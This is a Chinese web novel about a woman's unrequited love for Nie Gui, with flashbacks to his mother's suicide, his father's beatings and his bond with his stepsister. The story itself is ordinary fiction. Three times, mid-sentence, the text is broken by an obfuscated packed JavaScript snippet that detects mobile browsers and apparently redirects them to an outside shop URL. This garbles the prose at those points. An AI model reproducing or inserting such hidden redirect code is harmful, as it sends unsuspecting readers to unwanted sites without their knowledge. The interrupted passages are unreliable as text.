《和一支绝望的歌》 1. 楔子 我与聂归是在书法班认识的。相识两年,已做了一年多的朋友,我想,也该向他坦白。 书法班是我同事介绍的,在四合院子里,窄门,但压甸甸的碧瓦顶,门口蹲细挑叶子的兰花盆。左右斜支电线杆,几道横电线拉过来扯过去,杆边泊一二辆自行车。道狭,车开不进来。老师是个在瓷瓶底写纂字的匠人师傅,手稳,也能画鼻烟壶。聂归的家便在书法班隔壁,门不对着街,要拐拐绕绕地进去,围墙像低矮的森林。 我去过他家中一两次,都是做客。和他的人一样,他家里布置得简洁,水泥胚的墙秃裸着,只贴了一张卷了角的伊莎尔贝·阿佳妮的海报,客厅横一条海绵弹簧沙发,上面张一片沁红的麻将凉席,天花板上一间横一根日光灯,空调倒是新得光洁,不像是家,像是他租来暂住的。 没有新鲜东西看,仅一座胡桃木机身的梵尼诗唱片机勾人目光,脚撑边码了三四箱黑胶,我蹲下来,一张一张翻,找自己爱听的乐队,翻糟了,他也不恼。聂归以前在地下做乐队,玩摇滚,如今是写乐评的,据他的说法,是靠着别人的才华吃饭,说完,他笑了。 从见他第一面,我便喜欢他,此后更是难以自拔。他向来是很松快一个人,高个子,剃短的寸头,眼窝略深,皮肤白,便显眼下淡淡的黑青,他看人时总像没睡醒,眼皮浅搭着眼珠子,有亮时显得狡黠,无亮时,便好似在神游很深的幽冥。笑起来,嘴角尖尖的,有孩子气,很疏阔。他夏天爱穿衬衫,宝蓝色,扣子一直严扣到顶,抵住喉结,有时袖子卷到肘,露出玉石一样坚实的小臂;秋冬的大袄里就裹黑色高领衫,犹显一截脖颈,非常秀气。 他有一只水壶,常带在身边,钛制的,方方正正,身子凹一个弧,上头有钥匙的划痕,平常人使,是用来盛酒的,但他却拿来装茶水。我问他,这里面装过酒么,他就笑,牙齿齐整,说:“我只和你讲,这里面从来只有茶。你不要向别人说。” 到他家里做客,他向来是自己做饭。他只会包饺子,从和面、擀皮,到掐褶、下锅,除了馅是超市里买的,流水的流程,他都做得来。饺子端上桌,他叫我先吃,自己去一边,蹲水龙头下洗手、搓面泥,睫毛在灯影下投出浅浅的扇形,认真得像做数学题。 我常想,他未必不喜欢我,从没有男女只当朋友的道理,到头来,免不了谈婚论嫁。我仰卧在沙发,看他更年青时的照片——我从旧报纸上裁下来的,是二十出头的他与乐队,那时他右耳上还穿耳钉,镁灯把人脸印得扁扁白白,看不清表情,只剩下黑洞洞两只眼睛,像飘忽不定的、旧日的灵体。 我对着这张照片肖想。无论如何,我们都快到三十岁,终究会像寻常人那样,在两室一厅的平层房子里吃饭、睡觉,电视机后的墙上挂结婚照,或许养一两个孩子。我们都有那个能力。 我一直这样梦想着,直到得知他的出身。 我在北京台做主持人的工作,假意与上司谈起他。“聂归?”上司眼睛闪了一闪,她说,他是聂首长的长子。 下班后,还要走一截路,才出得了门。残余的夏季,水泥路烘着空气,远远近近,扭曲而透明。我疑心丝袜被桌角勾烂了,拗过腰去查看。拇指按到绽口,我这才知觉,自己正打着格格的冷抖。将近三十,我早过了幻梦的年纪。 躲了他一阵,但终究是煎熬。从头到脚,我足够体面,未必称不上他。我决心向他坦白。 书法班下晚课,出来时已经昏昧。巷子里少路灯,他常送我,一直送到马路边,早些时候,是拿手机替我打灯照路,后来,便常备手电筒在身边。此刻,我们时常讲些闲话。 我说,阿佳妮的《着魔》演得很好。他点点头,却说他不喜欢,“太焦灼了。”他指电影不安的底色。 “那你爱看哪部?《诺斯费拉图》?”那脸色苍白、眼神深邃的爱神? “我都不爱看,”他轻轻笑了一声,“只对《阿黛尔·雨果》的印象多一些。” 我们再另说一些话,无非是报纸上看来、新闻里听来的事,他的工作,我的工作,我们向来缄口,自然也不谈家里。这一次,我主动说起父母。我父亲是外科医生,母亲是中学老师,都是本地人,比他的家世,可以说高攀,但不至于贪图。我大学读新闻,辅修教育学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713267|144661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,工作称得上光鲜,却也能清闲。 条条道道,我再不必藏掖,应聘一样,字字简洁平易,向他陈列。 他打着手电,默不作声。光柱直愣愣接光斑,像一片小的、呆滞的、皎白的月亮,移过院墙与小道。忽然,他说:“我从来没有交过女友。” 仿佛是答应的前兆,又像是更恶的陈情,我的心堵上嗓子眼。 蓦地,他笑了,莫名很释然:“谢谢你,”接着,又道歉,“很抱歉,但我……” 他斟酌用词,“我有放不下的人。” 太深的夏天,近了秋,入了夜,还这样燥热。我感觉自己也在笑,嘴唇上的口红膏体晞干了,有些粘牙。我想喘气,但肺里抽不上空气,嗓子里便只能挤出细细的声音:“她是个什么样的人?” “对不起,”他再次道歉,“能和你做朋友,我一直很开心。” 聂归一道送我上车。我没有下车窗同他说“再见”。 车里的暑气还没散尽,温热的皮革蒸腾柠檬空气清新剂的味道,像锈了的铁钳,拧紧我的胃,酸水一直顶到舌根。 他比我先离开,我从后视镜里看他,四周全是漫漫的、浊黄的路灯。 我太紧张了,红灯涨进眼睛里,我才觉察自己在哭,生理性的泪水淌刷过脸,我明镜一样地想:只差一点。他犹疑过了,只差一点,他就应许我,应许我所承诺的寻常人的生活。 但旧日像幢幢的、长着触须的影子,先我一步,抓住了他。 我依旧仰躺在沙发上,端详那张从旧报纸上裁下来的照片。 他原先的乐队叫Pearl,常驻是四个人,偶尔多捎一个键盘手。他做的是鼓手,舞台与鼓架把他环抱在最深的背景里,金属架举镲与鼓,一一如风荷,前面蹲着Pearl的主唱,结辫子的女孩儿,水洗背带牛仔裤套在白色内衬背心外,鬓发细柔而卷,胳膊架在膝盖上,抻出去,手指圈着麦克风。 她拗过头,冲着镜头笑,一张天真又不设防的脸,小鸟一样的、无辜又容易受惊的、神似阿佳妮的脸。 ——她是聂归的妹妹,尔珠。 2. 001 聂归的母亲在阳台上吊自杀,正是在他上初二的端午节。甫一到家院子,便见白手套与蓝口罩穿穿出出,齐望他的眼神,都是刀片一样的怜悯。 母亲是穿着工作制服死去的,面上无妆,仅突出一张肉黄色蘑菇一般的脸。母亲被担上了担架床,白布覆着她的面,又由人揭开,把她盛在玻璃面的冰棺里,用真真假假的花簇拥她,随后火焰腾起,尖尖的手脚七七八八来收拢她。 至此,一切又重归清净了,保姆低着头依旧擦地、抹桌,父亲依旧在书房读文件、签字,甚至睡觉,好似家中从来不曾有过一个女人,该由聂归喊作母亲。 失去母亲一事,甚至穿不透稀疏的铁栏杆。朋友与同学与聂归说话,仍是往常说笑的样子。 “他们没有见过死人,”可聂归想,“更没有失掉亲人。”无人与他一样。 黄昏时,他跑到操场上,爬上双杆,两脚张开,高高地站着,金紫的日落无边无际地压下来。他想直着喉咙,把那个秘密远远地喊出去,可字涌到舌根,却灭了声响。 于是他更加孤立无援。 初二的暑假,聂归搬了家,昔日的朋友又隔了几条街,须得他骑单车绕几个胡同才能抵达。 他从不知道几公里也能酝酿乡愁。 太阳太大了,他晒得黧黑,背上冒出大片红疹。保姆给他抹掺了薄荷脑的痱子粉,凉意有针扎一样的刺痛。 他谁也见不了,只能趴在凉席上,用勺子挖西瓜,红的吃下肚去,白的则被他用勺子边缘刨出花。 他发了疯一样读小说,读过了好看,就看起艰涩的,历史、哲学、社会学,甚至乐理,他都捧来凉席上看。 窗户外的青天有白云行过,风一阵一阵掀着墙上的爬山虎。待到暑假快结束,他的双肘已经给凉席磨出了茧。 初三开学不久,聂归第一次见到尔珠。 聂归知道父亲爱看歌剧。母亲在时,父亲也曾携他母子二人去过剧院,坐在前排最中央的位置,可他不知父亲竟爱到新娶一个歌剧女演员做他的继母,而女演员还附带了一个女儿。 不至于叫聂归难堪,父亲与继母并未办婚礼,只是某日忽有一列车往院子里开来,当首的黑轿车里走下来父亲,随后他又牵下来一个高挑、瘦白的长裙女人,而女人身后又探出一枚栗子色的脑袋,是个小女孩儿。跟在后面的车停住了,上面下来人,把女人与小女孩的箱子一只一只往屋子里运。 聂归掠开窗帘,只看了一眼,就在衣柜里躲住了,任父亲如何喊叫他,他也不出来见人。 父亲喊了两声,就当真停住了,随后脚步声响起,皮鞋、高跟鞋、小女孩儿的凉鞋,啪啪又哒哒,像万花筒的花瓣,合拢又绽开,绽开又合拢,和谐的、无穷无尽的,是真正的一家人。没有人来找他。 衣柜里没有日夜,只有一线缝,由白转金,由金转蓝,最后是完全的、封闭的黑。 躲了多久,他不知道,只有吃饭时,保姆叫过他一声,电话铃响过一两次,许是给人打过电话,对方又回了电话。无人找到他。 终于,筷子与餐盘开始叮叮碰撞的响,交谈声、笑声,没有他一样完整。父亲已经很久不曾在餐桌上吃过饭了。 下面的人吃完了饭,又叮叮咚咚地弹起琴,之后又是讲话,是笑。等到夜完全沉定,聂归推开柜门,脱掉鞋子,蹑手蹑脚,从柜子里走出来。 冰凉的瓷砖在他脚下一格一格后移。他走到客厅里。灯完全熄了,只有窗外的月光是亮的,借着冷的光,他环顾四周。 继母的行李还不曾收拾完,客厅里多摆了一架三架钢琴,是一艘斜支着帆的耀武扬威的船,几只大个儿的琴盒倚墙立着,则像漆黑的瘦颈肥肚的鬼。 他掉头,回卧室,从最底的抽屉里拖出一只工具箱,打开了,抠出一把剪钳,又走回客厅,走到钢琴边,把脑袋和手及手上的剪钳都探进琴框底,挑了最细的一根琴弦,聂归两手把住剪钳,立下去,两片刃口收紧,钢铁互相挤压,咔咔颤响。 忽然,压力绷断了,剪钳合拢声与琴弦断裂声同时爆出,类似最硬的弓射出了最利的箭,巨大的声音仿佛尖啸,整个屋子似乎都在巍巍的余音中摇震,随后,才是死一般的寂静。 聂归握着剪钳,头也不回地向大门跑,几下拧开门锁,掣开门,转头又轻声合上,之后又是没命地跑,手里的剪钳甩出去,砸进灌木丛。 他没有穿鞋,沙砾和水门汀的路擦磨脚底,袜子大概烂了,伤口里会掺沙,但他不敢停,只是盲目地在夜色下逃。 他逾墙跳进了学校,找了一扇未上锁的窗户,推开,翻进教室,寻到自己的座位,坐下。 水泥地冰镇脚底的刺痛,心脏还是铅球一样拍着胸膛,他拗过头,把脸靠进环围的胳膊里,睁着眼睛,等天明。 次日,比勤读的早课学生更早到学校的,是聂归的继母。 继母一手牵着女儿,一手拎着英伦格纹的手提包,轻车熟路找到他的教室。她从包里取出聂归的球鞋,一只鞋口里塞了一只袜子,躬下腰,轻轻放在他课桌边,又把女儿推到他面前,柔声说:“小归,这是我的女儿尔珠,她比你低两个年级,就在初一的一班上课。” 说罢,她又要女儿叫“哥哥”,此时,聂归才看清自己这个新妹妹的长相。她满头栗色的卷发,清早的太阳光里,糖丝一般,晶晶发亮,皮肤白得像鹅绒,睫毛浓密,描一圈眼睛。她眼睛张得很大,带一点吃惊的意味,眼瞳是蒙蒙灰色的蓝。异国人的长相。她紧抿着嘴,无论母亲如何催促,都不曾把“哥哥”叫出口。 放学,依旧是继母来接。小轿车泊在人行道边,她扬着胳膊,招他。钻进车里去,便见妹妹尔珠已然缩在了后座。 窗外熟悉的景色一帧一帧后滑,聂归想,这算什么? 所有人都悄无声息地、毫无芥蒂地扮演起各自的角色。死掉母亲、父亲新娶,不过是衣裳破了,拿针线缝一块新布上来,他们自作主张地缝起他的人生。 他想起忒修斯之船,他的家便是一只忒修斯之船,砖瓦都换了,照片全取下,陌生的物来填补空缺,陌生的人顶起旧的头衔。这究竟还是不是他的家? 回到家,无人提起钢琴的事。他趁机向钢琴里看了一眼。 昨夜剪断的弦已经续好,或是他们干脆新换了一台新琴。一切仿佛一场深夜的、愤懑的梦。他打了个冷噤。 由于尔珠异国的长相,她的声名很快在学校里传开。聂归和同学趴在走廊瓷砖围栏上往下看,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713268|144661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻易便能从一颗颗黑脑袋里辨别出尔珠栗色的头顶。 同学不知道这是他的继妹,只说是初一新来的漂亮女生,长得像个外国人。 聂归向下凝看了妹妹一会儿。她抱着书,匆匆地走,专挑偏僻无人的地方,连遇上了人,也忙低住头,侧身让开。 忽然,聂归听到自己说:“我认识她。她是个间谍。” 聂归没料到自己的话会惹出后面的祸。运动会时,他跑完自己的一千米比赛,坐在观众席的角落休息、喝水,一扭头,看见几个男生把几个女生逼在角落里。 “你们不知道,”一个矮个子的男生往女生堆里指,“她是帝国主义派来监视我们的。不信,你们翻她作业本,记的都是你们的一言一行,要报告给帝国主义的间谍机构!” 一个女生猛一掀他指来的手,仰着脖子,翻了个白眼,骂:“幼稚。” 两队人吵着骂着,互相推搡起来,女生们背后便露出她们护着的、缩着肩的少女,与她濛濛的、惊皇的灰蓝眼睛。 正是尔珠。 她战栗着,快速扫看面前的人,却不料,透过肢体与肢体的缝隙,她的眼光正正与聂归对上。 聂归的心猛地跳一下,险些没噎在嗓子眼。 一个男生伸手,要抓尔珠的头发,聂归不自主地要站起来,却见另一个女生截住了伸过来的手臂,她张着喉咙,大喊起来:“报告老师,男生打女生啦!” 当天傍晚放学,聂归躲开了继母来接他与尔珠的车。 他在街上漫无目的地游走,走累了,就拿零钱请小商贩撬了一瓶北冰洋,插一根拐弯的吸管,坐在马路牙子上嘬,发呆。 他不知道尔珠会不会将这件事告诉他的父亲,也不知父亲对此会有何反应。 像害怕所有未知一样,他害怕自己的父亲,甚至害怕他从书房门缝里渗出来的、灰黑的影子。 最终,家中司机的车还是停在了他面前。 大概两周后,事情还是暴露了。 在餐桌边,当着父亲与聂归的面,继母刷起尔珠的袖子,露出她胳膊肘的擦伤、小臂的淤青,又叫她摊开握紧的手,呈出掌根的刮伤,忧愁地问她:“怎么弄的?” 尔珠含着头,一声不吭。 父亲把眼光向聂归移过来,问他:“妹妹在学校什么情况,你说一下。” 他答话时,口腔和身体里像真空一样,无限向里坍缩,吐出的声音也是抽着气的、含含糊糊的:“我不知道。” 父亲绰起筷子,往他脸上掷。筷子打在脸颊上,啪嗒两声响,红痕很快浮上来。 继母“啊”地高叫一声,忙来往下掣父亲的手臂,劝:“莫要伤了孩子眼睛。” 而尔珠则始终低着头,盯着鞋尖,像是沉到了另外一个世界。 翌日晨间操,聂归看到父亲的私人秘书来找学校领导,两个人站在树荫底下说话。 不好的念头像泳池里浮的皮球,明黄黄的一点,按进蓝波里,还是“扑”地弹回来,消灭不了。 聂归惴惴地做完操,惴惴地步回教室,惴惴地等到黄昏降下来,放课的铃叮啷啷地响,像小钢珠子在铜壳里乱跳。 他想,不过是一句无心的话,未必能查到他头上。 3. 002 就像继母摆在他桌边的鞋、不作声便修好的琴、始终能在他面前停下的司机,即便是一句无心的话,父亲想知道是谁最先讲出口的,便一定能知晓。 傍晚,来接他的车上既没有继母,也没有妹妹尔珠,仿佛专为押送他一人。车甚至不似往常,只停在院门口,而是直直开进去,把后座对准了家的大门,才缓缓停住。 他在车里坐了一会儿,最终,梗着脖子下了车,迈上台阶。保姆来替他开门,脸上也全是惊惶。 甫一进门,聂归先看到坐在沙发上的继母与尔珠。 继母面上是为难的神色,而尔珠依旧一脸游离,仿佛事不关己。 聂归分出神去想,学校里这样多的女同学、电视上也不乏女明星,但他的这个新妹妹是其中最好看的一个,为什么偏偏这样木讷,魂魄似乎都不在身上。 他忽然有点可怜她。 父亲揪住他的校服衣领,铁扣的皮带劈头盖脸地打下来时,聂归仍在神游地想。 皮带抽在身上,疼是疼,似乎却也没有那样可怕了。 他心里并不对尔珠愧疚,也没有恨,或许在运动会时,看到尔珠被堵在墙角,而她的眼神望向他时,他就已经预知了代价。 从头到尾,正如她抽离的眼神一样,这件祸事与她的干系也不太大。此时,他只剩下还债一般的松懈。 疼痛像火辣辣的生倒刺的网,兜头兜脸地罩下来,抽空,他还瞥一眼坐在沙发上的继母与妹妹。前者撇过脸,似是不忍心看,而后者却直勾勾地盯着他,蓝眼睛像来自玻璃柜里悬止的、无知的鱼。 忽然,聂归发觉,尔珠的喉咙耸动了一下,像是有东西从她身体里涌起,直冲上眉心,迅速扩张开,锁紧她上半张脸。 终于,有情绪从她面上浮出来,从她眼睛里冒出来,好似太阳底下小孩子新吹的泡泡,一千万种颜色开始勾勒这张天赋的脸,流动般鲜焕。但聂归真实所见的,是那张脸上越揪越紧的痛苦,像凛凛的冷水,或像原野上的火腾高的浓烟,迫人的,一瞬间从他的胸口淹到眼睛。 最后,她的身子向上拔了一下,尔珠霍地站起身,一扭头,冲卫生间跑去。片刻,便听到卫生间传来呕吐声,像是要绞倒出整副内脏。 仿佛挨了打的不是聂归,而是她。 第二天,带着满身涂了药水的伤,聂归照常要去上课。 第一堂课改了班会,班主任郑重其事地向学生科普“间谍”,如何辨别,以及诬告有何后果。后来,聂归一打听,才知这堂早课,全校都在开间谍主题班会。 聂归想不通,为什么,父亲会为一个不冠他姓氏、不流他血脉的女儿尽心到如此地步,反倒聂归做了家里的外人。或许从母亲死掉那一刻起,他便是家里的外人了。 聂归也不清楚,这堂间谍科普课,究竟是如何传出了真相,叫初中上下几百号人,都知道了此事是因初一一班的新学生尔珠而起。 课间,学生们扒在窗户上,向里张望,老师来赶时,学生则蝙蝠似的,纷纷从窗玻璃上掀飞走。 他们给尔珠起了个外号——“公主”,不带一点贬义的意味,一半是因为她背后那能叫全校学生开班会的家长,一半则是因为她的相貌。 课间,女生们围在她身边,替她编辫子,男生则变着法子,逗她讲话。日子久了,还有胆大的,往她抽屉里塞情书,却并不求着她做自己的女友,顶多是请她多和自己说说话,这当然有出于对她家长的忌惮,更多也许是因她是个“木美人”、“冰美人”——聂归常听同学议论尔珠,他们大都还不知道聂归是她的哥哥。 异样的,聂归心想,尔珠什么都不必做,就能叫人们争着抢着喜欢她。偌大的地方,只有他见过她的真样子,免疫她的魔力,只有他知道,她纯粹是个怪胎。他们是一家人,有共同的秘密。 聂归与尔珠上同一辆车回家,兄妹的事到底被轻易泄了底。 男生们开始围着聂归打听,问她的喜恶、他们兄妹不同的姓氏、她异国人的长相。莫名的,他被搡进了与尔珠同一个彀里,她是公主,而他则是公主的哥哥,是贴身的近臣。 他厌恶这种看待,却也被迫担起了责任,他没法再像之前,冷眼抄手立在一边听人议论,面对问东问西的同学,他只能青着脸,缄口不言;听到人品评妹妹,他也得皱着眉斥一声“滚”。 她的荣辱也成了他的,他被迫维护起某种虚构的集体荣誉——还是他打心底憎恶的那一种。 后来,聂归得知,兄妹的事是由一个尾随尔珠的男同学传出,他不得不更进一步,认领临时家长的职责,放学时去等妹妹下课,一前一后,叫她跟手跟脚地与他一起出校。若是他下课晚了,聂归冷声冷气吩咐尔珠:她须得上楼去,侯在门口,直到他从教室门里走出来。 尔珠倒也听他的话。每次他晚放课,一出门,便能见尔珠伏在瓷砖围栏上写作业,听了身后响动,才默默合上书页,收拢书包,拉上拉链,两边肩膀背好,快步跟在他身后。 他们之间统共说的话不过十句,却无端有了兄妹的样子。 尔珠偷东西的事,直到快入冬时才被揭发,是一个往她抽屉里塞情书的男生觉察的。 他趁早上无人,来学校行动,把信夹入尔珠课桌里的作业本中,但不太安心,又想把信封掏出来,翻扯之间,不料,一根手链随之也被勾带,从桌腔里滑出,啪嗒一声,砸落在地上——红珊瑚珠串的护身链,其中最大的两粒珠子上还刻着主人的名字。 其实,打从开“间谍”主题班会之后,初一一班便开始接二连三有学生丢东西,起初以为是不当心,在公告栏贴了寻物的告示,却无人前来归还,后来,有学生疑心是有人存心在偷,但抓不着人,无计可施,也只好各人看管好自己的所有物,自然也不会有人怀疑到“公主”尔珠头上——她家里条件好,又生得那样漂亮,招一招手,自然有人把她想要的双手奉来。再者,近来,丢东西的事也不发了,此事便被众学生抛诸脑后,毕竟丢的也不是什么贵重玩意儿,谁知还是意外地落了水,出了石。 失主握着手链,来找尔珠对峙。她却只是沉默,既没有承认,也不否认,她一贯的作风。 有人嚷着,要翻她的抽屉,找证据,但却无人当真敢上前着手翻找。只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713269|144661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一根手链,许是偶然,抑或是误会,定不了罪。失主的语气都是软的,只是催她解释。 尔珠青白着一张脸,半晌,摇了摇头,细声气地说:“我不知道。”失主叹了一口气,回了座位,作罢了。其余丢了东西的人,也只是悻悻地往她桌膛里瞥,半信半疑。 风声传到初三,已是事发三天后了。聂归听到了,一下子先是惊惧,大半堂课都格愣愣地打着冷抖,直到下课铃响,他才醒过来:这事无论如何,父亲不会怪罪到他身上,他大可不必怕成这样。 午休前,聂归在食堂门口截住尔珠,掣着她的手腕,往角落里带,看四周无人,便质问她偷东西的事。 “我不知道。”她嗫嚅。 没偷就是没偷,哪有“不知道”的道理,他心里越发雪亮,拧着眉头,说:“偷东西被抓到了,要坐牢的,自首的话,会从轻发落。” 见尔珠一张脸发白,他才悟过来,恐吓只会把她往壳子里逼,便又放软声音,说:“你和我说,我不告诉别人,也不向家长告密。”那他知道这个秘密做什么?想着,他又补一句:“你告诉我,我才能想出主意,替你摆平。” 尔珠却只缩着肩,拨浪鼓一般摆头,哒哒哒摇出声音来:“我不知道……我不知道……” 聂归忽然觉得厌烦。他甚至想不通,自己究竟为什么会来给她讲道理,他们徒担一个头衔,又不是真的兄妹,没有义务该他承担。 他几乎是立刻退后一步,冷然说:“你最好真的不知道,他们也最好真的只是冤屈你。” 初一一班又开始有人丢东西,有了痕迹,学生们都把眼冷冷地望尔珠,下课,女生们也不再来找她,男生们也收敛了给她献殷勤的心,只有尔珠像往常一样,低低垂着柔质洁白的颈,睫毛遮挡神情,不必要时,决不讲话。 告示栏上也重新贴起寻物启事,聂归下楼,总能路过那只糊了层层起皮的白胶的黑板,正当中高高粘着公告,偶尔,文字说明底下还有物品照片,是无声的讨伐。 终于,聂归想,悬置下去,究竟不是办法。 聂归东拼西凑,弄来了近些日子寻物启事的打印文件,筛出有照片的,折好了,塞进书包里,带回家里去。 挑了一个父亲与继母出门应酬的晚上,他抓着文件,去叩尔珠卧室的门。尔珠怯怯为他开一条门缝,他却生掰开,整条身子挤进去,二话不说,两步跨上前,先把文件在书桌面上一张钉一张地铺开,又一把揪过尔珠挂在椅子背上的书包,倒提过来,劈里啪啦,把里头的书、作业本、文具在床上摊倒了一片。 尔珠瑟缩在一边,手绞在小腹前,一声不吭。 聂归一手抹开床单上的东西,眼光很快地扫两下,盯准了,手抓下去,握起一枚水晶吊坠,看也不再细看,径直丢到一边书桌上。筛完了书包,掉过头,他又划开尔珠家里用的文具盒,剖鱼一样,掏出里面的笔具,平在手掌里,一支一支点过了,从中挑出一支,拍到寻物启事上。 瞥了尔珠一眼,他又从坐垫底下、大衣口袋里、译文出版社的名著书里搜出书签、发卡,甚至是写了旁人名字的贺卡。 4. 003 越是清点,聂归越觉匪夷所思。 他想不明白,父母对尔珠百依百顺,怎么会叫她养出偷窃的癖性。 他打量那支满水的圆珠笔,尔珠偷来这些东西,压根就不是拿来自己用的。她只是偷,像园丁鸟一样,拿来了,统统只是装点。 “铁证如山,”他抄着手,诘问,“你还要说自己‘不知道’?” 尔珠站在房间中央,收紧双肩,看上去像一尾空停无所依的鱼,她弱声说:“我不是故意的。” 聂归几乎要笑了。偷窃还能是不小心?他说:“那你打算怎么办?让我告家长和老师,还是你偷偷还回去?” 尔珠应答的样子没什么神气,仿佛她浮在另一个世界:“我还回去。” 聂归一下子静了,他想,他不能叫尔珠把这个罪名坐实了,他可不想有个顶着小偷名声的妹妹,要是被认作“小偷”,尔珠这初中三年都别想安生。 他思索了一会儿,说:“你把你偷的东西都拿出来。” 尔珠依言转身,乖巧且熟练地从房间各个角落取出各样东西来。聂归眼睛随着她,心想,她记性倒是好。 手掌里又盛了四五样小玩意儿,尔珠回到聂归身边,捧过手,伸到聂归面前。聂归一件件捡走,拿寻物启事的纸张包起来。 手掌里空了,尔珠垂下胳膊,仍一动不动地立着,忽然,她微微抬一下眼睛,怯问他:“你以后是不是都不会来接我了?” 聂归反应了片刻,才明白她在说什么。他反问:“这两件事有什么关系?你不想我接你?” 尔珠紧绷的肩好似松动了一下。台灯投过来明黄黄的光,她半张脸敷着这溶溶的暖光,愈发显得轮廓清晰秀美,眼睫抬起来,两滴蓝眼睛,荧荧熠熠,仿佛魂魄一下子全归了本体,她抽了一下鼻子,出乎意料,竟然落下眼泪来。 她呜咽了两下,忙拿手去擦眼睛。聂归见她哭,一下子手足无措,先是往房门看,只怕父亲与继母回来,撞见这一幕,要他担责,而后才是去扶尔珠的肩膀,他也不知如何处置她,只好轻晃,一迭声低低命令:“不许哭!” 翌日,上早课前十分钟,聂归胳膊底下夹一只纸箱子,大步流星,走进初一一班的教室,迈上讲台。他把纸盒子往讲桌上一墩,一只手在盒缝上按好了,一只手抓过黑板擦,拍在讲桌上,“啪”两声响,聚拢底下学生的注意力。 目光左右扫两下,人群里,正好见妹妹尔珠错愕的脸,聂归移开眼神,清了清嗓子,说:“大家好,我是尔珠的哥哥,三年级的聂归。我听说,有人污蔑我妹妹偷东西——” 底下有学生低声嘟囔:“就是她偷东西,谁污蔑了……” 聂归拿眼神剐了那人一下,扬眉毛,眼睛亮得像火焰,他说:“我允许你插嘴了吗?” 末了,转回头来,他不容置疑、斩钉截铁地开口:“这件事,我已经全调查清楚了。”说着,他翻开纸盒,众学生凑上前,便听到里头传来微弱的猫叫。 聂归把两手插进纸盒,从当中掐出一条芝麻灰狸花猫来,随之带起的,还有一些零星的小玩意儿。眼尖的学生已在叫了:“里面有我的发卡!” “这是躲在学校器械室的流浪猫,它在这个纸盒里搭了个窝,窝里全是这些零碎玩意儿。我看了寻物启事,里面有几个应该是你们的。”聂归让开身,“你们上来,自己找。” 丢了东西的学生你看看我,我瞧瞧你,陆续走上前,弯到纸盒子里,翻寻自己的遗失物。可底下还是有学生不服气:“猫为什么要偷人的东西?” “我又不是动物行为学专家,你问我,我问谁去?”聂归两只胳膊搂着猫,仰着脸,理直气壮。 “那为什么猫只偷一班的东西?” “谁知道是不是你们当中有‘好心人’喂了它吃的,它一路跟到一班来了?”聂归抿着嘴,脸上有狡黠一闪而过,他又补充道,“谁说只有一班丢了东西,这盒子里难道都是你们的玩意儿?” 学生们从箱子翻出沾着猫毛与灰尘的水晶吊坠、有猫爪划痕和咬痕的书签,帽儿被掀掉了,却还有一整根原装笔芯的圆珠笔,心里的狐疑便被压下去大半。 也有学生说盒子里没有自己掉的物件,聂归便吩咐:“你去器械室找,说不定还在那儿。” 丢了红珊瑚手串的学生见了,忽冒出一句:“可我的手链是从尔珠课桌里搜出来的。” 聂归怔了两秒,忽地冷笑两声,猫被他的胸膛的笑声震得不安定,一拗腰,从他怀里跳出,望教室门外窜去了。 他斜乜着眼睛,掠扫过台下,语气轻蔑:“这件事,我没查是谁栽赃我妹妹,是放某些人一马。” 他对失主道:“你想要损失费,尽管找我要。我们家可不缺买一两根手链的钱。” 放学后,尔珠上楼去等聂归下课。聂归斜挎着书包出来,见尔珠面上浅淡的笑,不自主地呆一下。他想起前一阵儿,男生们围簇在尔珠身边时,他心里暗说尔珠有做褒姒的潜质,却没一个人当得了幽王,这一下可好,他忽觉自己不自觉地做了一回幽王,戏了一回诸学生,搏得妹妹笑了一笑。这个念头按捺不下去,他面上有点难堪,别别扭扭凶她一声:“不许笑。” 尔珠惊愕了一下,很快收敛了神色。不料,聂归更不自在了,他两步快走上前,耸着两肩,把背对着她,不看她那张叫人晕眩的脸:“以后你可别再给我惹这么大的麻烦!” 让他长吁一口气,初一一班再没发生偷窃事件。尔珠同他说的话也多了些,坐在回家的车上,她偶尔讲一些班上的事,诸如谁谁在校服胳膊内侧写了喜欢的明星的名字缩写,谁谁在全班朗诵课文时吹口哨,谁谁与谁谁传纸条,被班主任逮了个正着。 她说起话来很零碎,往往平铺直叙,夹杂大量充数的连接词,再有趣的事,从她嘴里讲出来,也沦作琐碎平常。聂归打心底不情愿听,他不想与她显得关系好,总像是如了父亲的愿。 他怕父亲,但他宁愿遭冷眼、挨打,也不愿遂父亲的心意——膝下儿女成双、享受天伦之乐,只要把这副景象与父亲那常年冷肃的面孔联想在一块儿,聂归只觉得脚板上有蚂蚁爬。 